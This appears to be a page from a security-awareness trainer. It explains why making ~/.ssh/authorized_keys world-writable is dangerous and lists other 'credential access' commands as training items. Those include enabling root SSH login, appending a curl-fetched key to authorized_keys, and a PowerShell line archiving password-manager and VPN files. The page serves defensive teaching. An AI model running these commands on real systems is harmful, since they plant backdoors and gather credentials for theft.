Dangerous
chmod 777 ~/.ssh/authorized_keyslinux · bash · Advanced
Makes the list of keys allowed to log in as you writable by every local account. Any user on the box can then append their own key and authenticate as you, and SSH will also start refusing the file for being too permissive.
Signals to notice
- World-writable authentication file
- Allows any local user to add their own key
- Breaks SSH's own permission checks
Think you can spot these under time pressure?
Start TrainingMore Credential Access
mv /etc/passwd /tmp/passwd.bakIntermediatechmod 600 ~/.ssh/id_ed25519Intermediatemv ~/.ssh/authorized_keys /tmp/ak.bak && touch ~/.ssh/authorized_keysIntermediatesed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configAdvancedcurl -s https://example.com/id.pub >> ~/.ssh/authorized_keysExpertGet-ChildItem C:\Users -Recurse -Include *.kdbx,*.ovpn -ErrorAction SilentlyContinue | Compress-Archive -DestinationPath $env:TEMP\cache.zipNightmare